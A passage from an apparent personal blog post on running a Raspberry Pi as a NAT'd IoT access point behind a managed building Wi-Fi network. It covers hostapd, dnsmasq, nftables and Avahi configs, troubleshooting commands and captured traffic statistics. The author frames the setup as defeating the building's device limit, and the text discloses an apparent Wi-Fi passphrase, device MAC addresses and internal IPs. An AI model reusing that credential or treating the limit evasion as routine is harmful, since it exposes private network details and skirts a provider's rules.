GB microSD, heatsinks, ventilated case\nThe Pi 4 appreciates a bit of airflow.\n(Optional) Ethernet cable\nIf you can wire the Pi to the wall/router for upstream instead of using onboard Wi-Fi, do it. Wired upstream = higher, steadier throughput and frees the onboard radio.\nWhat this setup actually does The Pi connects to the building’s ASK4 Wi-Fi as a client (wlan0). The ALFA dongle creates a new access point called IoT_hub (wlx… interface) with password Iman8118. Devices join IoT_hub. The Pi does NAT, so upstream sees one MAC address (the Pi), not dozens of gadgets. Device limit: defeated. Avahi mDNS reflector lets services like AirPlay/HomeKit be discoverable across the two subnets without touching the managed router. If I’m on the building Wi-Fi and want to control IoT gear without switching, I can also use an optional overlay (e.g., Tailscale) to reach 192.168.50.0/24 from anywhere. Setup details (the friendly version) 1) Access point with hostapd I broadcast a simple WPA2 network on 2.4 GHz (best compatibility). Channel 1/6/11—pick the cleanest. 20 MHz channel width keeps legacy and low-power devices happy.\ninterface=wlx00c0cab7ab29 ssid=\u0026lt;A_NICE_SSID\u0026gt; country_code=DE hw_mode=g channel=6 ieee80211n=1 wmm_enabled=1 # Don\u0026#39;t require HT or you\u0026#39;ll reject some tiny IoT clients: require_ht=0 wpa=2 wpa_key_mgmt=WPA-PSK rsn_pairwise=CCMP wpa_passphrase=\u0026lt;STRONG_PASSWORD\u0026gt; 2) DHCP on the IoT side (dnsmasq) Give out addresses on 192.168.50.0/24 and let systemd-resolved handle DNS to the internet.\ninterface=wlx00c0cab7ab29 bind-interfaces dhcp-range=192.168.50.100,192.168.50.240,255.255.255.0,12h dhcp-option=3,192.168.50.1 dhcp-option=6,1.1.1.1,8.8.8.8 port=0 # leave port 53 to systemd-resolved log-dhcp 3) Routing + NAT (nftables) This makes every downstream device appear as the Pi upstream:\ntable inet filter { chain input { type filter hook input priority filter; policy accept; ct state established,related accept iif \u0026#34;lo\u0026#34; accept iif \u0026#34;wlan0\u0026#34; accept iif \u0026#34;wlx00c0cab7ab29\u0026#34; accept udp dport 5353 accept # mDNS counter drop } chain forward { type filter hook forward priority filter; policy accept; ct state established,related accept iif \u0026#34;wlx00c0cab7ab29\u0026#34; oif \u0026#34;wlan0\u0026#34; accept iif \u0026#34;wlan0\u0026#34; oif \u0026#34;wlx00c0cab7ab29\u0026#34; accept } chain output { type filter hook output priority filter; policy accept; } } table ip nat { chain postrouting { type nat hook postrouting priority srcnat; policy accept; oif \u0026#34;wlan0\u0026#34; masquerade } } 4) mDNS across subnets (Avahi) The reflector bridges Bonjour so AirPlay/HomeKit can find each other across IoT and ASK4:\n[server] allow-interfaces=wlan0,wlx00c0cab7ab29 [reflector] enable-reflector=yes I wanted to be able to control my homepod without switching networks, but without setting a custom route on ASK4 WiFi it was not possible, hence the reason I chose Tailscale\nIet up Tailscale, advertise 192.168.50.0/24 from the Pi. Now I can log in with a passkey from my devices and control my homepod without switching networks, well, kinda. Boom! Secure access to IoT without leaving ASK4.\nNow some random questions that I looked up in internet:\nHow many devices can this really support? Short answer: a lot—for IoT. Long answer: the DHCP pool here has 141 IPs (.100 to .240). Wi-Fi airtime is the real limit, not IPs. With a 2.4 GHz AP and mostly low-bandwidth gadgets (sensors, plugs, bulbs, ESPs), 50–70 devices is completely reasonable. The ALFA’s radio and hostapd handle concurrent associations fine; I’ve watched dozens attach, chatter, and renew leases without drama.\nIf you plan camera-heavy traffic or bulk transfers, either split heavy gear onto 5 GHz or wire those devices. For small, chatty IoT traffic, this Pi/AP combo is very comfortable.\nWhat speeds should I expect? LAN (IoT device ↔ Pi) on 2.4 GHz, 20 MHz channel, WPA2: ~20–60 Mbps real throughput per device is typical. IoT stuff barely needs 1 Mbps, so I\u0026rsquo;m golden! ^^\nInternet (IoT device → upstream via Pi): If the Pi’s upstream is Wi-Fi, which in my case is, the bottleneck is that link; expect ~30–70 Mbps stable. If upstream is Ethernet, the Pi 4 can NAT hundreds of Mbps, and my AP radio becomes the limit.\nLatency: Adding one NAT hop adds a little delay (a few ms). For HomePod/AirPlay, mDNS reflection + local Wi-Fi keeps it snappy.\nWhy these choices? 2.4 GHz is where tiny IoT radios live (bulbs, plugs, ESP/ESP32). It trades speed for range and compatibility.\nWPA2-PSK keeps things simple; WPA3 is fine if all your clients support it.\n20 MHz channel prevents older or power-saving devices from flaking out.\nAvahi reflector avoids any changes to the building’s router and still lets discovery work.\nNAT collapses dozens of gadgets into a single upstream “seat,” sidestepping the 8-device limit entirely.\nTroubleshooting hostapd masked/disabled →\nsudo systemctl unmask hostapd \u0026amp;\u0026amp; sudo systemctl enable --now hostapd dnsmasq can’t start because of port 53 →\nset port=0 in /etc/dnsmasq.d/*.conf and let systemd-resolved keep DNS.\n“Station does not support mandatory HT PHY” in hostapd logs →\nadd require_ht=0 (and keep ieee80211n=1) in your hostapd.conf.\nAirPlay/HomeKit don’t show up across subnets →\nensure Avahi reflector is enabled and UDP/5353 (mDNS) is allowed:\n/etc/avahi/avahi-daemon.conf has: [server] allow-interfaces=wlan0,wlx00c0cab7ab29 [reflector] enable-reflector=yes firewall allows: udp dport 5353 accept Weak signal / flaky joins →\nuse a short USB 3 extension to move the ALFA away from the Pi and cables;\nscan and switch to a cleaner 2.4 GHz channel (1/6/11), keep width at 20 MHz.\nClients connect but no internet →\nverify IP forward \u0026amp; NAT:\nsudo sysctl net.ipv4.ip_forward If it\u0026rsquo;s 0, enable it permanently and reload\necho \u0026#39;net.ipv4.ip_forward=1\u0026#39; | sudo tee /etc/sysctl.d/99-iot.conf sudo sysctl --system Verify the nftables NAT rule exists (masquerade out via wlan0)\nsudo nft list ruleset | sed -n \u0026#39;/table ip nat/,$p\u0026#39; | sed -n \u0026#39;1,80p\u0026#39; Add it if missing\nsudo nft add table ip nat sudo nft \u0026#39;add chain ip nat postrouting { type nat hook postrouting priority srcnat; policy accept; }\u0026#39; sudo nft \u0026#39;add rule ip nat postrouting oif \u0026#34;wlan0\u0026#34; masquerade\u0026#39; Persist nftables (Ubuntu)\nsudo sh -c \u0026#39;nft list ruleset \u0026gt; /etc/nftables.conf\u0026#39; sudo systemctl enable --now nftables Quick service sanity checks hostapd (AP) sudo systemctl status hostapd --no-pager sudo journalctl -u hostapd -n 60 --no-pager iw dev wlx00c0cab7ab29 info iw dev wlx00c0cab7ab29 station dump dnsmasq (DHCP on IoT side) sudo systemctl status dnsmasq --no-pager sudo journalctl -u dnsmasq -n 80 --no-pager grep -E \u0026#39;interface=|dhcp-range\u0026#39; /etc/dnsmasq.d/*.conf || true tail -n 50 /var/lib/misc/dnsmasq.leases Avahi (mDNS reflector) grep -E \u0026#39;enable-reflector|allow-interfaces\u0026#39; /etc/avahi/avahi-daemon.conf sudo systemctl status avahi-daemon --no-pager sudo journalctl -u avahi-daemon -n 60 --no-pager Basic connectivity tests from a client on IoT_hub got DHCP? ip addr show ip route cat /etc/resolv.conf can you reach the Pi and the internet? ping -c 3 192.168.50.1 ping -c 3 1.1.1.1 ping -c 3 google.com DNS works end-to-end? dig +short _airplay._tcp.local @224.0.0.251 -p 5353 (Or use a Bonjour browser app to confirm the HomePod is discoverable.)\nIf AirPlay/HomeKit discovery is flaky across subnets make sure mDNS is allowed both directions on the Pi sudo nft add rule inet filter input udp dport 5353 accept sudo nft add rule inet filter forward udp dport 5353 accept sudo sh -c \u0026#39;nft list ruleset \u0026gt; /etc/nftables.conf\u0026#39; restart Avahi cleanly and re-announce sudo systemctl restart avahi-daemon sudo journalctl -u avahi-daemon -n 40 --no-pager from the Pi, watch mDNS traffic on both sides (you should see queries/answers) sudo tcpdump -ni wlx00c0cab7ab29 udp port 5353 -vvv (in another terminal:)\nsudo tcpdump -ni wlan0 udp port 5353 -vvv Throughput + airtime sanity (optional) simple iperf3 (install on Pi and a client) sudo apt-get update \u0026amp;\u0026amp; sudo apt-get install -y iperf3 (on the Pi:) iperf3 -s (on a client:) iperf3 -c 192.168.50.1 -P 3 -t 10\ncheck channel utilization/interference (from Pi) sudo iw dev wlx00c0cab7ab29 survey dump | sed -n \u0026#39;1,200p\u0026#39; (if busy, try channel 1 or 11 in hostapd.conf and restart hostapd)\nScaling tips (lots of tiny IoT devices) hostapd tweaks (add to hostapd.conf, then restart) (reduce management overhead slightly; keep conservative for compatibility)\nbeacon_int=100 dtim_period=2 wmm_enabled=1 ap_isolate=0 max_num_sta=256 # logical cap; real limit is airtime/driver sudo systemctl restart hostapd if some ESP/low-power clients are sticky or nap too hard: (device-side) disable aggressive power saving if supported\n(AP-side) keep channel width at 20 MHz and require_ht=0 for legacy clients\n“Clients connect but no internet” quick checklist Pi has a default route via upstream? ip route | grep default NAT counters are increasing when clients surf? sudo nft list chain ip nat postrouting -a connections tracked? sudo conntrack -L -o extended | head -n 40 last resort: bounce the pieces sudo systemctl restart hostapd dnsmasq avahi-daemon sudo systemctl restart NetworkManager || true sudo systemctl restart nftables Network Traffic (embedded from captures) For fun, and curiousity!\n1) DHCP leases (who joined the IoT network) 1763936213 6a:12:f6:62:40:88 192.168.50.216 * 01:6a:12:f6:62:40:88 1763935691 72:00:a6:33:e5:7a 192.168.50.222 * 01:72:00:a6:33:e5:7a 1763935629 e8:06:90:69:66:7c 192.168.50.189 Aidot 01:e8:06:90:69:66:7c 1763936452 ac:bc:b5:e5:38:29 192.168.50.202 Main-Bedroom-2 01:ac:bc:b5:e5:38:29 1763935618 e8:06:90:68:06:2c 192.168.50.196 * 01:e8:06:90:68:06:2c 1763935618 48:e1:e9:bc:f6:91 192.168.50.131 * * 1763935618 48:e1:e9:bd:08:0d 192.168.50.118 * * 1763935615 48:e1:e9:bd:0b:a7 192.168.50.233 * * 1763935618 7c:f1:7e:ff:e1:b0 192.168.50.104 KH100 * 1763935607 cc:b5:d1:31:a4:cc 192.168.50.134 espressif 01:cc:b5:d1:31:a4:cc 2) Top talkers by bytes (hosts table) 192.168.50.233,7346 192.168.50.118,7216 192.168.50.131,7216 17.253.53.203,7040 54.217.122.41,6271 192.168.50.216,5392 192.168.50.104,3058 192.168.50.189,2278 17.242.218.132,1802 192.168.50.134,1750 192.168.50.196,1653 3.122.71.119,639 18.196.19.65,570 161.117.178.131,391 17.253.53.201,148 17.57.146.25,90 10.172.72.196,66 224.0.0.251,0 224.0.0.2,0 255.255.255.255,0 3) Heaviest flows (src, dst, proto, dport, bytes) 192.168.50.202,192.168.50.131,TCP,59903,402 192.168.50.202,192.168.50.118,TCP,59807,402 161.117.178.131,192.168.50.134,TCP,58246,391 192.168.50.216,192.168.50.202,UDP,5353,336 192.168.50.202,192.168.50.189,UDP,5353,312 192.168.50.202,192.168.50.196,UDP,5353,234 17.253.53.203,192.168.50.202,TCP,64726,222 192.168.50.216,17.57.146.25,TCP,5223,172 192.168.50.216,192.168.50.233,UDP,5353,162 192.168.50.202,192.168.50.104,UDP,5353,156 17.253.53.201,192.168.50.202,TCP,64727,148 192.168.50.202,17.253.53.201,TCP,443,132 192.168.50.216,224.0.0.251,IP,0,92 192.168.50.216,224.0.0.2,IP,0,92 17.57.146.25,192.168.50.216,TCP,64544,90 192.168.50.216,192.168.50.118,UDP,5353,75 192.168.50.216,192.168.50.131,UDP,5353,75 192.168.50.216,192.168.50.134,UDP,5353,75 192.168.50.216,10.172.72.196,TCP,59593,70 10.172.72.196,192.168.50.216,TCP,51638,66 4) Conntrack snapshot (active connections inventory) ipv4 2 tcp 6 48 TIME_WAIT src=10.172.71.98 dst=185.125.190.39 sport=55012 dport=80 src=185.125.190.39 dst=10.172.71.98 sport=80 dport=55012 [ASSURED] mark=0 use=1 ipv4 2 udp 17 100 src=10.172.71.98 dst=185.40.234.113 sport=41641 dport=3478 src=185.40.234.113 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1 ipv4 2 tcp 6 431665 ESTABLISHED src=192.168.50.216 dst=17.57.146.25 sport=64544 dport=5223 src=17.57.146.25 dst=10.172.71.98 sport=5223 dport=64544 [ASSURED] mark=0 use=1 ipv4 2 udp 17 27 src=10.172.72.205 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=10.172.72.205 sport=5353 dport=5353 mark=0 use=1 ipv4 2 udp 17 17 src=10.172.72.196 dst=10.172.79.255 sport=137 dport=137 [UNREPLIED] src=10.172.79.255 dst=10.172.72.196 sport=137 dport=137 mark=0 use=1 ipv4 2 tcp 6 431999 ESTABLISHED src=192.168.50.196 dst=18.196.19.65 sport=55164 dport=8883 src=18.196.19.65 dst=10.172.71.98 sport=8883 dport=55164 [ASSURED] mark=0 use=1 ipv4 2 udp 17 16 src=127.0.0.1 dst=127.0.0.53 sport=41796 dport=53 src=127.0.0.53 dst=127.0.0.1 sport=53 dport=41796 mark=0 use=1 ipv4 2 unknown 2 265 src=192.168.50.216 dst=224.0.0.251 [UNREPLIED] src=224.0.0.251 dst=192.168.50.216 mark=0 use=1 ipv4 2 udp 17 5 src=192.168.50.104 dst=1.1.1.1 sport=23791 dport=53 src=1.1.1.1 dst=10.172.71.98 sport=53 dport=23791 mark=0 use=1 ipv4 2 udp 17 119 src=10.172.72.205 dst=10.172.71.98 sport=41641 dport=41641 src=10.172.71.98 dst=10.172.72.205 sport=41641 dport=41641 [ASSURED] mark=0 use=1 ipv4 2 udp 17 27 src=10.172.71.98 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=10.172.71.98 sport=5353 dport=5353 mark=0 use=1 ipv4 2 tcp 6 431946 ESTABLISHED src=192.168.50.202 dst=17.242.218.132 sport=64686 dport=5223 src=17.242.218.132 dst=10.172.71.98 sport=5223 dport=64686 [ASSURED] mark=0 use=1 ipv4 2 udp 17 10 src=10.172.71.98 dst=239.255.255.250 sport=40234 dport=1900 [UNREPLIED] src=239.255.255.250 dst=10.172.71.98 sport=1900 dport=40234 mark=0 use=1 ipv4 2 tcp 6 96 TIME_WAIT src=192.168.50.104 dst=3.217.113.91 sport=49707 dport=443 src=3.217.113.91 dst=10.172.71.98 sport=443 dport=49707 [ASSURED] mark=0 use=1 ipv4 2 udp 17 10 src=10.172.71.98 dst=10.172.64.1 sport=40234 dport=1900 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=1900 dport=40234 mark=0 use=1 ipv4 2 tcp 6 431812 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55514 dport=49395 src=192.168.50.202 dst=192.168.50.1 sport=49395 dport=55514 [ASSURED] mark=0 use=1 ipv4 2 tcp 6 431666 ESTABLISHED src=192.168.50.216 dst=10.172.72.196 sport=51638 dport=59593 src=10.172.72.196 dst=10.172.71.98 sport=59593 dport=51638 [ASSURED] mark=0 use=1 ipv4 2 tcp 6 431998 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55510 dport=7000 src=192.168.50.202 dst=192.168.50.1 sport=7000 dport=55510 [ASSURED] mark=0 use=1 ipv4 2 udp 17 14 src=192.168.50.131 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.131 sport=5353 dport=5353 mark=0 use=1 ipv4 2 unknown 2 596 src=10.172.72.205 dst=224.0.0.251 [UNREPLIED] src=224.0.0.251 dst=10.172.72.205 mark=0 use=1 ipv4 2 udp 17 27 src=192.168.50.1 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.1 sport=5353 dport=5353 mark=0 use=8 ipv4 2 udp 17 27 src=10.172.72.205 dst=10.172.71.98 sport=5353 dport=5353 [UNREPLIED] src=10.172.71.98 dst=10.172.72.205 sport=5353 dport=5353 mark=0 use=1 ipv4 2 udp 17 15 src=192.168.50.118 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.118 sport=5353 dport=5353 mark=0 use=1 ipv4 2 udp 17 88 src=10.172.71.98 dst=109.43.114.250 sport=41641 dport=41641 src=109.43.114.250 dst=10.172.71.98 sport=41641 dport=41641 [ASSURED] mark=0 use=1 ipv4 2 tcp 6 431997 ESTABLISHED src=192.168.50.104 dst=18.234.9.109 sport=49700 dport=443 src=18.234.9.109 dst=10.172.71.98 sport=443 dport=49700 [ASSURED] mark=0 use=1 ipv4 2 tcp 6 431998 ESTABLISHED src=10.172.71.98 dst=199.165.136.101 sport=45248 dport=443 src=199.165.136.101 dst=10.172.71.98 sport=443 dport=45248 [ASSURED] mark=0 use=1 ipv4 2 tcp 6 431992 ESTABLISHED src=10.172.72.196 dst=10.172.71.98 sport=63953 dport=22 src=10.172.71.98 dst=10.172.72.196 sport=22 dport=63953 [ASSURED] mark=0 use=1 ipv4 2 tcp 6 431995 ESTABLISHED src=192.168.50.189 dst=3.122.71.119 sport=50422 dport=8883 src=3.122.71.119 dst=10.172.71.98 sport=8883 dport=50422 [ASSURED] mark=0 use=1 ipv4 2 udp 17 100 src=10.172.71.98 dst=176.58.90.104 sport=41641 dport=3478 src=176.58.90.104 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1 ipv4 2 tcp 6 107 TIME_WAIT src=10.172.71.98 dst=185.125.190.36 sport=50914 dport=80 src=185.125.190.36 dst=10.172.71.98 sport=80 dport=50914 [ASSURED] mark=0 use=1 ipv4 2 udp 17 26 src=192.168.50.202 dst=192.168.50.1 sport=5353 dport=5353 [UNREPLIED] src=192.168.50.1 dst=192.168.50.202 sport=5353 dport=5353 mark=0 use=1 ipv4 2 udp 17 16 src=127.0.0.1 dst=127.0.0.53 sport=33321 dport=53 src=127.0.0.53 dst=127.0.0.1 sport=53 dport=33321 mark=0 use=1 ipv4 2 tcp 6 431975 ESTABLISHED src=192.168.50.134 dst=161.117.178.131 sport=58246 dport=11883 src=161.117.178.131 dst=10.172.71.98 sport=11883 dport=58246 [ASSURED] mark=0 use=1 ipv4 2 udp 17 16 src=10.172.71.98 dst=10.172.64.1 sport=35510 dport=53 src=10.172.64.1 dst=10.172.71.98 sport=53 dport=35510 mark=0 use=1 ipv4 2 udp 17 100 src=10.172.71.98 dst=176.58.93.154 sport=41641 dport=3478 src=176.58.93.154 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1 ipv4 2 tcp 6 431652 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55513 dport=49394 src=192.168.50.202 dst=192.168.50.1 sport=49394 dport=55513 [ASSURED] mark=0 use=1 ipv4 2 udp 17 23 src=192.168.50.104 dst=255.255.255.255 sport=21112 dport=20002 [UNREPLIED] src=255.255.255.255 dst=192.168.50.104 sport=20002 dport=21112 mark=0 use=1 ipv4 2 udp 17 10 src=10.172.71.98 dst=10.172.64.1 sport=40234 dport=5351 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=5351 dport=40234 mark=0 use=1 ipv4 2 udp 17 10 src=10.172.71.98 dst=10.172.64.1 sport=34331 dport=5351 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=5351 dport=34331 mark=0 use=1 ipv4 2 tcp 6 431975 ESTABLISHED src=10.172.71.98 dst=192.200.0.115 sport=48100 dport=443 src=192.200.0.115 dst=10.172.71.98 sport=443 dport=48100 [ASSURED] mark=0 use=1 ipv4 2 tcp 6 431999 ESTABLISHED src=10.172.71.98 dst=176.58.93.154 sport=58128 dport=443 src=176.58.93.154 dst=10.172.71.98 sport=443 dport=58128 [ASSURED] mark=0 use=1 ipv4 2 tcp 6 431997 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55515 dport=49154 src=192.168.50.202 dst=192.168.50.1 sport=49154 dport=55515 [ASSURED] mark=0 use=1 ipv4 2 tcp 6 118 TIME_WAIT src=192.168.50.104 dst=3.217.113.91 sport=49708 dport=443 src=3.217.113.91 dst=10.172.71.98 sport=443 dport=49708 [ASSURED] mark=0 use=1 5) Part of Raw packet capture What’s inside? tshark -r iot_ap_120s.pcap -q -z io,stat,60 ================================== | IO Statistics | | | | Duration: 119.773534 secs | | Interval: 60 secs | | | | Col 1: Frames and bytes | |--------------------------------| | |1 | | Interval | Frames | Bytes | |--------------------------------| | 0 \u0026lt;\u0026gt; 60 | 400 | 60449 | | 60 \u0026lt;\u0026gt; Dur | 24672 | 30179911 | ================================== Protocol hierarchy (what kinds of traffic?) ❯ tshark -r iot_ap_120s.pcap -q -z io,phs =================================================================== Protocol Hierarchy Statistics Filter: eth frames:25072 bytes:30240360 ip frames:24706 bytes:30195993 udp frames:349 bytes:94583 mdns frames:241 bytes:60693 data frames:32 bytes:2240 quic frames:76 bytes:31650 quic frames:2 bytes:2484 tcp frames:24353 bytes:30101226 tls frames:2413 bytes:3493680 tcp.segments frames:2256 bytes:3378795 tls frames:2222 bytes:3353799 data frames:147 bytes:71717 tcp.segments frames:5 bytes:7550 igmp frames:4 bytes:184 arp frames:150 bytes:6300 ipv6 frames:216 bytes:38067 icmpv6 frames:124 bytes:10704 udp frames:79 bytes:25415 data frames:2 bytes:132 mdns frames:77 bytes:25283 tcp frames:13 bytes:1948 data frames:1 bytes:90 =================================================================== Top IP conversations (who talked to whom?) ❯ tshark -r iot_ap_120s.pcap -q -z conv,ip ================================================================================ IPv4 Conversations Filter:\u0026lt;No Filter\u0026gt; | \u0026lt;- | | -\u0026gt; | | Total | Relative | Duration | | Frames Bytes | | Frames Bytes | | Frames Bytes | Start | | 192.168.50.202 \u0026lt;-\u0026gt; 17.253.37.195 19588 29 MB 3912 286 kB 23500 29 MB 72.555738000 21.8560 192.168.50.1 \u0026lt;-\u0026gt; 192.168.50.202 239 74 kB 238 46 kB 477 120 kB 0.293866000 119.4797 192.168.50.1 \u0026lt;-\u0026gt; 224.0.0.251 0 0 bytes 118 28 kB 118 28 kB 0.000000000 119.7310 192.168.50.202 \u0026lt;-\u0026gt; 1.1.1.1 40 20 kB 36 10 kB 76 31 kB 72.033321000 30.3367 192.168.50.202 \u0026lt;-\u0026gt; 2.19.120.151 47 44 kB 29 8,460 bytes 76 53 kB 72.062807000 14.8525 192.168.50.202 \u0026lt;-\u0026gt; 17.56.138.35 27 7,602 bytes 33 13 kB 60 20 kB 72.107270000 15.0196 192.168.50.202 \u0026lt;-\u0026gt; 17.253.53.203 17 7,040 bytes 23 9,256 bytes 40 16 kB 72.326823000 10.5130 192.168.50.202 \u0026lt;-\u0026gt; 54.217.122.41 19 6,271 bytes 18 6,122 bytes 37 12 kB 102.352119000 0.3678 192.168.50.202 \u0026lt;-\u0026gt; 17.253.53.202 19 22 kB 17 3,099 bytes 36 25 kB 81.940717000 0.3208 192.168.50.202 \u0026lt;-\u0026gt; 23.58.105.122 19 9,936 bytes 16 5,759 bytes 35 15 kB 72.225431000 9.6434 192.168.50.104 \u0026lt;-\u0026gt; 255.255.255.255 0 0 bytes 32 2,240 bytes 32 2,240 bytes 50.628126000 65.2664 17.242.218.132 \u0026lt;-\u0026gt; 192.168.50.202 12 1,701 bytes 13 1,802 bytes 25 3,503 bytes 20.967857000 62.0463 192.168.50.189 \u0026lt;-\u0026gt; 3.122.71.119 8 639 bytes 13 978 bytes 21 1,617 bytes 1.112174000 108.8174 192.168.50.131 \u0026lt;-\u0026gt; 224.0.0.251 0 0 bytes 20 6,092 bytes 20 6,092 bytes 19.033978000 79.6932 192.168.50.118 \u0026lt;-\u0026gt; 224.0.0.251 0 0 bytes 20 6,092 bytes 20 6,092 bytes 79.030835000 19.7664 192.168.50.233 \u0026lt;-\u0026gt; 224.0.0.251 0 0 bytes 20 6,052 bytes 20 6,052 bytes 79.031250000 19.7814 192.168.50.196 \u0026lt;-\u0026gt; 18.196.19.65 8 570 bytes 10 678 bytes 18 1,248 bytes 4.963201000 107.5242 192.168.50.216 \u0026lt;-\u0026gt; 224.0.0.251 0 0 bytes 12 3,880 bytes 12 3,880 bytes 98.049857000 4.2949 192.168.50.134 \u0026lt;-\u0026gt; 161.117.178.131 5 391 bytes 4 960 bytes 9 1,351 bytes 15.392290000 60.5936 192.168.50.202 \u0026lt;-\u0026gt; 192.168.50.189 4 1,300 bytes 4 312 bytes 8 1,612 bytes 26.274469000 93.2919 192.168.50.202 \u0026lt;-\u0026gt; 192.168.50.118 2 406 bytes 4 402 bytes 6 808 bytes 17.999757000 60.1593 192.168.50.202 \u0026lt;-\u0026gt; 192.168.50.131 2 406 bytes 4 402 bytes 6 808 bytes 17.999812000 60.1593 192.168.50.202 \u0026lt;-\u0026gt; 192.168.50.233 2 406 bytes 4 402 bytes 6 808 bytes 17.999825000 60.1592 192.168.50.202 \u0026lt;-\u0026gt; 192.168.50.196 3 975 bytes 3 234 bytes 6 1,209 bytes 30.223646000 89.3442 192.168.50.216 \u0026lt;-\u0026gt; 192.168.50.233 4 888 bytes 2 162 bytes 6 1,050 bytes 98.322145000 0.1456 192.168.50.216 \u0026lt;-\u0026gt; 192.168.50.202 1 1,092 bytes 4 336 bytes 5 1,428 bytes 98.319211000 0.2939 192.168.50.216 \u0026lt;-\u0026gt; 192.168.50.1 0 0 bytes 5 455 bytes 5 455 bytes 98.319329000 0.2505 192.168.50.202 \u0026lt;-\u0026gt; 17.253.53.201 2 148 bytes 2 132 bytes 4 280 bytes 81.716483000 1.0465 192.168.50.202 \u0026lt;-\u0026gt; 192.168.50.104 2 818 bytes 2 156 bytes 4 974 bytes 87.030561000 0.0107 192.168.50.216 \u0026lt;-\u0026gt; 192.168.50.131 3 718 bytes 1 75 bytes 4 793 bytes 98.321918000 0.1421 192.168.50.216 \u0026lt;-\u0026gt; 192.168.50.118 3 718 bytes 1 75 bytes 4 793 bytes 98.322266000 0.1420 192.168.50.216 \u0026lt;-\u0026gt; 17.57.146.25 1 90 bytes 2 172 bytes 3 262 bytes 98.048979000 0.0384 192.168.50.216 \u0026lt;-\u0026gt; 192.168.50.134 2 790 bytes 1 75 bytes 3 865 bytes 98.321779000 0.2550 192.168.50.216 \u0026lt;-\u0026gt; 224.0.0.2 0 0 bytes 2 92 bytes 2 92 bytes 98.049757000 0.0001 192.168.50.216 \u0026lt;-\u0026gt; 10.172.72.196 1 66 bytes 1 70 bytes 2 136 bytes 98.664295000 0.0060 ================================================================================ Fast “top talkers” table (by source IP) ❯ tshark -r iot_ap_120s.pcap -T fields -e ip.src -e frame.len \\ | awk \u0026#39;NF==2{b[$1]+=$2} END{for (h in b) printf \u0026#34;%-16s %12d\\n\u0026#34;, h, b[h]}\u0026#39; \\ | sort -k2,2nr | head -n 20 17.253.37.195 29540349 192.168.50.202 422414 192.168.50.1 75521 2.19.120.151 44554 17.253.53.202 22016 1.1.1.1 20675 23.58.105.122 9936 17.56.138.35 7602 192.168.50.233 7346 192.168.50.118 7216 192.168.50.131 7216 17.253.53.203 7040 54.217.122.41 6271 192.168.50.216 5392 192.168.50.104 3058 192.168.50.189 2278 17.242.218.132 1802 192.168.50.134 1750 192.168.50.196 1653 3.122.71.119 639 DNS \u0026amp; mDNS highlights (what names show up?) # DNS queries (unicast) ❯ tshark -r iot_ap_120s.pcap -Y \u0026#34;dns.flags.response==0\u0026#34; \\ -T fields -e frame.time -e ip.src -e dns.qry.name | head -n 20 Nov 23, 2025 11:48:38.131162000 CET\t192.168.50.1\t_hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local Nov 23, 2025 11:48:42.961690000 CET\t192.168.50.1\t_hap._tcp.local Nov 23, 2025 11:48:42.962245000 CET\t192.168.50.1\t_companion-link._tcp.local Nov 23, 2025 11:48:42.962911000 CET\t192.168.50.1\t_hap._udp.local,_rdlink._tcp.local Nov 23, 2025 11:48:43.098378000 CET\t192.168.50.1\tMSS110-f691._hap._tcp.local Nov 23, 2025 11:48:43.158641000 CET\t192.168.50.1\tQingping Air Monitor Lite._hap._tcp.local Nov 23, 2025 11:48:43.201440000 CET\t192.168.50.202\t_companion-link._tcp.local Nov 23, 2025 11:48:43.532623000 CET\t192.168.50.1\tMSS110-080d._hap._tcp.local Nov 23, 2025 11:48:43.962673000 CET\t192.168.50.1\t_hap._tcp.local,MSS110-0ba7._hap._tcp.local,Main Bedroom (3)._companion-link._tcp.local,HomePodSensor 185277._hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local Nov 23, 2025 11:48:49.110167000 CET\t192.168.50.1\t_hap._tcp.local Nov 23, 2025 11:48:49.110760000 CET\t192.168.50.1\t_companion-link._tcp.local Nov 23, 2025 11:48:49.111395000 CET\t192.168.50.1\t_hap._udp.local,_rdlink._tcp.local Nov 23, 2025 11:48:49.272920000 CET\t192.168.50.1\tQingping Air Monitor Lite._hap._tcp.local Nov 23, 2025 11:48:49.311002000 CET\t192.168.50.1\tMSS110-0ba7._hap._tcp.local Nov 23, 2025 11:48:49.619376000 CET\t192.168.50.1\tMain Bedroom (3)._companion-link._tcp.local,MSS110-f691._hap._tcp.local,MSS110-080d._hap._tcp.local,HomePodSensor 185277._hap._tcp.local Nov 23, 2025 11:48:50.115506000 CET\t192.168.50.1\t_hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local Nov 23, 2025 11:48:55.037844000 CET\t192.168.50.1\t_hap._tcp.local Nov 23, 2025 11:48:55.038380000 CET\t192.168.50.1\t_companion-link._tcp.local Nov 23, 2025 11:48:55.038926000 CET\t192.168.50.1\t_hap._udp.local,_rdlink._tcp.local Nov 23, 2025 11:48:55.060503000 CET\t192.168.50.202\t_companion-link._tcp.local # mDNS service announcements (AirPlay/HomeKit live here) ❯ tshark -r iot_ap_120s.pcap -Y \u0026#34;udp.port==5353 \u0026amp;\u0026amp; dns\u0026#34; \\ -T fields -e frame.time -e ip.src -e dns.qry.name -e dns.ptr.domain_name \\ | head -n 30 The latter had no output as I wasn\u0026rsquo;t able to make that work with a static route and relied on Tailscale. (?)\nTLS SNI (which cloud endpoints?) ❯ tshark -r iot_ap_120s.pcap -Y \u0026#34;tls.handshake.extensions_server_name\u0026#34; \\ -T fields -e ip.dst -e 